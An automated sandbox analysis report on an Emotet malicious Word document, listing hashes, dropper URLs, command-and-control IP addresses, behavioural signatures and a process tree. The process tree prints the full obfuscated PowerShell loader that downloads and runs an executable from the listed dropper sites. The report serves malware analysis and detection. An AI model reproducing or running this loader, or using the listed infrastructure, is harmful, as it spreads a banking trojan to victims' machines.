emotet | 346dbc5c545a8aa10d846ccb8ba758c8dd8a42aa1b64b46d835109529d0ee51b

Analysis

max time kernel
136s
max time network
143s
platform
windows10_x64
resource
win10
submitted
14/09/2020, 15:26

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General

Target
emotet_e2_346dbc5c545a8aa10d846ccb8ba758c8dd8a42aa1b64b46d835109529d0ee51b_2020-09-14__152231._doc.doc
Size 168KB
Sample200914-5z4m8nmapn
SHA256 346dbc5c545a8aa10d846ccb8ba758c8dd8a42aa1b64b46d835109529d0ee51b
MD5 424d6c2a187965981f0be03663a68841
SHA1 12fa4a32f6d21636004f54cec9ad564bde428c39
SHA512 5a37e9534f91b8b3b3f7a69a61bcb99ac212a156d57cbf31103317bed671c16123d614fd98b2a768f0f0d5ae7a3c81fe4e5f0384cc7885aaf4a55784513eff8a
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
https://blueyellowshop.com/wp-includes/mihae8A/
exe.dropper
http://kingsalmanquran.com/wp-content/wuPyeI/
exe.dropper
https://dagranitegiare.com/wp-admin/Z21r6R/
exe.dropper
http://acontarborreguitos.com/acontarborreguitos/I/
exe.dropper
http://atenaclinicaesegurancadotrabalho.com/cgi-bin/NlMH/
exe.dropper
http://digitalbazar.com/wp-admin/RVEzrK/
exe.dropper
https://byc-center.com/wp-admin/Z4r/

Extracted

Family

emotet

82.225.49.121:80
120.138.30.150:8080
139.59.67.118:443
94.23.216.33:80
203.117.253.142:80
139.99.158.11:443
87.106.139.101:8080
190.160.53.126:80
5.39.91.110:7080
107.5.122.110:80
174.102.48.180:443
194.187.133.160:443
153.177.101.120:443
104.236.246.93:8080
78.24.219.147:8080
94.23.237.171:443
85.66.181.138:80
157.245.99.39:8080
201.173.217.124:443
91.211.88.52:7080
97.82.79.83:80
209.141.54.221:8080
120.150.60.189:80
12.30.50.130:80
85.105.205.77:8080
95.179.229.244:8080
24.43.99.75:80
37.187.72.193:8080
85.152.162.105:80
5.196.74.210:8080
85.214.28.226:8080
82.80.155.43:80
61.92.17.12:80
153.232.188.106:80
93.147.212.206:80
67.205.85.243:8080
168.235.67.138:7080
62.75.141.82:80
75.139.38.211:80
121.124.124.40:7080
24.137.76.62:80
94.200.114.161:80
139.162.108.71:8080
185.94.252.104:443
95.213.236.64:8080
50.35.17.13:80
37.139.21.175:8080
162.241.242.173:8080
68.188.112.97:80
200.114.213.233:8080
188.219.31.12:80
50.91.114.38:80
139.59.60.244:8080
169.239.182.217:8080
137.119.36.33:80
74.208.45.104:8080
104.131.44.150:8080
203.153.216.189:7080
79.137.83.50:443
79.98.24.39:8080
174.45.13.118:80
176.111.60.55:8080
1.221.254.82:80
47.144.21.12:443
46.105.131.79:8080
62.30.7.67:443
109.74.5.95:8080
187.161.206.24:80
89.216.122.92:80
172.91.208.86:80
103.86.49.11:8080
84.39.182.7:80
24.179.13.119:80
87.106.136.232:8080
61.19.246.238:443
137.59.187.107:8080
110.145.77.103:80
104.131.11.150:443
219.74.18.66:443
83.169.36.251:8080
139.130.242.43:80
74.120.55.163:80
190.55.181.54:443

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2184	360	powershell.exe	73

Blacklisted process makes network request 2 IoCs

flow	pid	Process
21	2184	powershell.exe
23	2184	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
556	Pcy7xg6.exe
2772	winbrand.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\aepic\winbrand.exe	Pcy7xg6.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3920	WINWORD.EXE
3920	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2184	powershell.exe
2184	powershell.exe
2184	powershell.exe
2772	winbrand.exe
2772	winbrand.exe
2772	winbrand.exe
2772	winbrand.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2184	powershell.exe

Suspicious use of SetWindowsHookEx 11 IoCs

pid	Process
3920	WINWORD.EXE
3920	WINWORD.EXE
3920	WINWORD.EXE
3920	WINWORD.EXE
3920	WINWORD.EXE
3920	WINWORD.EXE
3920	WINWORD.EXE
3920	WINWORD.EXE
3920	WINWORD.EXE
556	Pcy7xg6.exe
2772	winbrand.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2184 wrote to memory of 556	2184	powershell.exe	81
PID 2184 wrote to memory of 556	2184	powershell.exe	81
PID 2184 wrote to memory of 556	2184	powershell.exe	81
PID 556 wrote to memory of 2772	556	Pcy7xg6.exe	83
PID 556 wrote to memory of 2772	556	Pcy7xg6.exe	83
PID 556 wrote to memory of 2772	556	Pcy7xg6.exe	83

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_346dbc5c545a8aa10d846ccb8ba758c8dd8a42aa1b64b46d835109529d0ee51b_2020-09-14__152231._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3920

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e JABRAF8AZgA3AHcAeQBzAD0AKAAoACcAUQBiACcAKwAnAG8AegAnACsAJwAzAHMAJwApACsAJwB6ACcAKQA7AC4AKAAnAG4AZQB3ACcAKwAnAC0AJwArACcAaQB0AGUAbQAnACkAIAAkAGUATgB2ADoAdQBTAEUAcgBwAFIATwBGAGkAbABlAFwAUABmAG4AbwB5AGgARwBcAHcAMgBsAHcARAAyAF8AXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAFIARQBjAFQATwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBgAGMAYABVAHIASQBgAFQAeQBgAHAAcgBvAHQAYABvAGMATwBMACIAIAA9ACAAKAAoACcAdABsACcAKwAnAHMAJwApACsAKAAnADEAJwArACcAMgAsACAAdAAnACkAKwAnAGwAJwArACgAJwBzADEAJwArACcAMQAsACAAdABsACcAKQArACcAcwAnACkAOwAkAEEAZQBiADMANwAwAGMAIAA9ACAAKAAoACcAUABjACcAKwAnAHkAJwApACsAKAAnADcAeABnACcAKwAnADYAJwApACkAOwAkAFYAZwAwAHAAdgBzADIAPQAoACcARAByACcAKwAnAGUANwAnACsAKAAnADUAJwArACcAaABnACcAKQApADsAJABSAGEAOAA1AGcAOABkAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAGwAQgAnACsAJwBGAFAAJwArACgAJwBmACcAKwAnAG4AbwB5AGgAJwArACcAZwAnACsAJwBsAEIARgAnACkAKwAnAFcAJwArACcAMgBsACcAKwAnAHcAJwArACgAJwBkADIAJwArACcAXwBsAEIAJwApACsAJwBGACcAKQAuACIAcgBgAGUAcABMAGEAYwBlACIAKAAoAFsAQwBIAGEAUgBdADEAMAA4ACsAWwBDAEgAYQBSAF0ANgA2ACsAWwBDAEgAYQBSAF0ANwAwACkALABbAFMAdAByAEkAbgBnAF0AWwBDAEgAYQBSAF0AOQAyACkAKQArACQAQQBlAGIAMwA3ADAAYwArACgAJwAuACcAKwAoACcAZQAnACsAJwB4AGUAJwApACkAOwAkAFIAcwAyAHgANQBzADAAPQAoACgAJwBCACcAKwAnADAAYQBhAGQAJwApACsAJwBlADkAJwApADsAJABPAGgAdAA1ADcAdAByAD0ALgAoACcAbgBlAHcALQBvAGIAJwArACcAagAnACsAJwBlAGMAdAAnACkAIABuAEUAVAAuAHcAZQBCAGMAbABJAEUAbgB0ADsAJABVADIANwBvADQANABqAD0AKAAoACcAaAAnACsAJwB0AHQAcABzACcAKQArACcAOgAnACsAKAAnAC8ALwBiACcAKwAnAGwAdQBlACcAKQArACgAJwB5AGUAbABsAG8AdwAnACsAJwBzACcAKQArACcAaAAnACsAKAAnAG8AcAAnACsAJwAuAGMAbwBtACcAKwAnAC8AdwAnACsAJwBwAC0AJwApACsAKAAnAGkAJwArACcAbgBjACcAKwAnAGwAdQBkACcAKQArACcAZQAnACsAKAAnAHMALwBtACcAKwAnAGkAJwArACcAaABhACcAKwAnAGUAOABBACcAKwAnAC8AKgBoAHQAdABwADoAJwApACsAJwAvAC8AJwArACgAJwBrACcAKwAnAGkAbgAnACkAKwAnAGcAJwArACcAcwAnACsAKAAnAGEAbABtACcAKwAnAGEAbgAnACkAKwAnAHEAdQAnACsAJwByACcAKwAnAGEAJwArACgAJwBuACcAKwAnAC4AYwBvACcAKQArACcAbQAnACsAJwAvACcAKwAnAHcAJwArACcAcAAnACsAKAAnAC0AYwAnACsAJwBvAG4AdABlACcAKQArACcAbgAnACsAKAAnAHQAJwArACcALwB3ACcAKQArACgAJwB1AFAAJwArACcAeQBlACcAKwAnAEkALwAnACkAKwAnACoAaAAnACsAKAAnAHQAdABwAHMAOgAnACsAJwAvACcAKwAnAC8AZAAnACkAKwAoACcAYQAnACsAJwBnAHIAYQAnACkAKwAoACcAbgAnACsAJwBpAHQAJwApACsAJwBlAGcAJwArACcAaQAnACsAJwBhACcAKwAnAHIAZQAnACsAKAAnAC4AYwBvACcAKwAnAG0AJwArACcALwB3AHAALQBhACcAKQArACgAJwBkAG0AaQBuACcAKwAnAC8AJwArACcAWgAyACcAKwAnADEAcgA2AFIALwAqAGgAdAB0ACcAKQArACgAJwBwADoALwAnACsAJwAvAGEAJwArACcAYwAnACkAKwAoACcAbwBuACcAKwAnAHQAYQAnACkAKwAnAHIAYgAnACsAKAAnAG8AJwArACcAcgAnACsAJwByAGUAZwB1AGkAJwApACsAKAAnAHQAJwArACcAbwBzAC4AYwAnACkAKwAoACcAbwAnACsAJwBtACcAKwAnAC8AYQBjAG8AbgB0ACcAKQArACcAYQByACcAKwAoACcAYgBvACcAKwAnAHIAJwApACsAKAAnAHIAZQAnACsAJwBnAHUAaQAnACkAKwAoACcAdAAnACsAJwBvAHMAJwApACsAJwAvACcAKwAoACcASQAvACoAJwArACcAaAB0ACcAKwAnAHQAJwApACsAJwBwACcAKwAoACcAOgAnACsAJwAvAC8AYQAnACkAKwAoACcAdABlAG4AJwArACcAYQBjACcAKQArACgAJwBsAGkAJwArACcAbgAnACkAKwAnAGkAYwAnACsAKAAnAGEAZQAnACsAJwBzACcAKQArACgAJwBlAGcAdQByACcAKwAnAGEAbgAnACkAKwAoACcAYwAnACsAJwBhAGQAJwApACsAKAAnAG8AdAAnACsAJwByACcAKQArACgAJwBhAGIAJwArACcAYQAnACkAKwAoACcAbABoAG8ALgAnACsAJwBjACcAKQArACgAJwBvAG0AJwArACcALwBjACcAKwAnAGcAaQAtAGIAJwApACsAKAAnAGkAJwArACcAbgAvAE4AbAAnACkAKwAoACcATQBIAC8AKgAnACsAJwBoAHQAJwApACsAJwB0AHAAJwArACgAJwA6AC8ALwAnACsAJwBkACcAKQArACgAJwBpAGcAJwArACcAaQAnACsAJwB0AGEAbAAnACkAKwAoACcAYgBhACcAKwAnAHoAJwApACsAJwBhAHIAJwArACgAJwAuAGMAJwArACcAbwAnACkAKwAoACcAbQAvAHcAcAAtACcAKwAnAGEAJwApACsAKAAnAGQAbQBpACcAKwAnAG4AJwApACsAKAAnAC8AJwArACcAUgAnACsAJwBWAEUAegByAEsALwAqACcAKQArACcAaAB0ACcAKwAnAHQAJwArACcAcAAnACsAJwBzADoAJwArACcALwAnACsAKAAnAC8AJwArACcAYgB5ACcAKQArACcAYwAnACsAKAAnAC0AYwBlAG4AJwArACcAdAAnACsAJwBlACcAKQArACgAJwByACcAKwAnAC4AYwBvACcAKQArACgAJwBtAC8AdwAnACsAJwBwAC0AJwArACcAYQAnACkAKwAoACcAZABtAGkAbgAnACsAJwAvAFoANAAnACsAJwByAC8AJwApACkALgAiAHMAUABgAGwAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARAB5AGIAcAAxAGMAawA9ACgAKAAnAEgAJwArACcAZQB1AGsAJwApACsAKAAnAG4AJwArACcANAB1ACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQASAB6ADcAagBiAGEAdQAgAGkAbgAgACQAVQAyADcAbwA0ADQAagApAHsAdAByAHkAewAkAE8AaAB0ADUANwB0AHIALgAiAEQAbwB3AG4ATABPAEEAYABEAGAARgBJAEwARQAiACgAJABIAHoANwBqAGIAYQB1ACwAIAAkAFIAYQA4ADUAZwA4AGQAKQA7ACQAWAAyAGkAZQBwAGkAeAA9ACgAJwBGAHYAJwArACcAbwB4ACcAKwAoACcAcgAnACsAJwAyAGcAJwApACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQAnACsAJwBJAHQAJwArACcAZQBtACcAKQAgACQAUgBhADgANQBnADgAZAApAC4AIgBMAGUATgBgAEcAVABoACIAIAAtAGcAZQAgADIAMAAxADMANgApACAAewAmACgAJwBJAG4AJwArACcAdgBvAGsAZQAnACsAJwAtAEkAdAAnACsAJwBlAG0AJwApACgAJABSAGEAOAA1AGcAOABkACkAOwAkAFEAMgBmAGYAMgBpAHYAPQAoACcAUAAnACsAKAAnAG0AMQA5ACcAKwAnAHkAYQAnACkAKwAnAGoAJwApADsAYgByAGUAYQBrADsAJABQAGUAbQA4ADUAYwA5AD0AKAAnAFMAaAAnACsAKAAnAGYAJwArACcAegB4AHoAJwApACsAJwB1ACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATwAzADEAYwBwAGoAZgA9ACgAJwBRACcAKwAnADcAJwArACgAJwA1ADcAOQBwACcAKwAnAHUAJwApACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2184
- C:\Users\Admin\Pfnoyhg\W2lwd2_\Pcy7xg6.exe
  "C:\Users\Admin\Pfnoyhg\W2lwd2_\Pcy7xg6.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:556
- - C:\Windows\SysWOW64\aepic\winbrand.exe
    "C:\Windows\SysWOW64\aepic\winbrand.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:2772

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/556-16-0x0000000000680000-0x0000000000690000-memory.dmp

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memory/556-15-0x0000000000660000-0x0000000000672000-memory.dmp

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memory/2184-10-0x000002B65B9B0000-0x000002B65B9B1000-memory.dmp

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memory/2184-9-0x00007FFCF8EE0000-0x00007FFCF98CC000-memory.dmp

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memory/2184-11-0x000002B673D10000-0x000002B673D11000-memory.dmp

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memory/2772-20-0x00000000006C0000-0x00000000006D0000-memory.dmp

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memory/2772-19-0x0000000000540000-0x0000000000552000-memory.dmp

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memory/3920-5-0x000001D2D85A5000-0x000001D2D85AA000-memory.dmp

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memory/3920-7-0x000001D2D87C3000-0x000001D2D87C5000-memory.dmp

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memory/3920-4-0x000001D2D612F000-0x000001D2D614F000-memory.dmp

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memory/3920-3-0x000001D2D8594000-0x000001D2D85A5000-memory.dmp

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memory/3920-2-0x000001D2D8594000-0x000001D2D85A5000-memory.dmp

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memory/3920-6-0x000001D2D87C1000-0x000001D2D87C3000-memory.dmp

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memory/3920-1-0x000001D2D85A5000-0x000001D2D85AA000-memory.dmp

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memory/3920-0-0x00007FFD00450000-0x00007FFD00B16000-memory.dmp

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memory/3920-8-0x000001D2D87C1000-0x000001D2D87C3000-memory.dmp

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